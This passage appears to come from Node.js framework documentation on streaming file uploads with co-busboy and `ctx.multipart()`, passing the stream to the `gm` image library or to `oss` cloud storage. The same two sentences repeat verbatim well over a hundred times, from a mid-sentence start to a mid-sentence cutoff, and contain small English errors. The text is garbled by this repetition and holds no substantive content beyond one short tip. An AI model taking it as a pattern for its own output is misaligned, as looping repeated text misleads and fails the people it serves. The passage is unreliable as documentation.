by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage 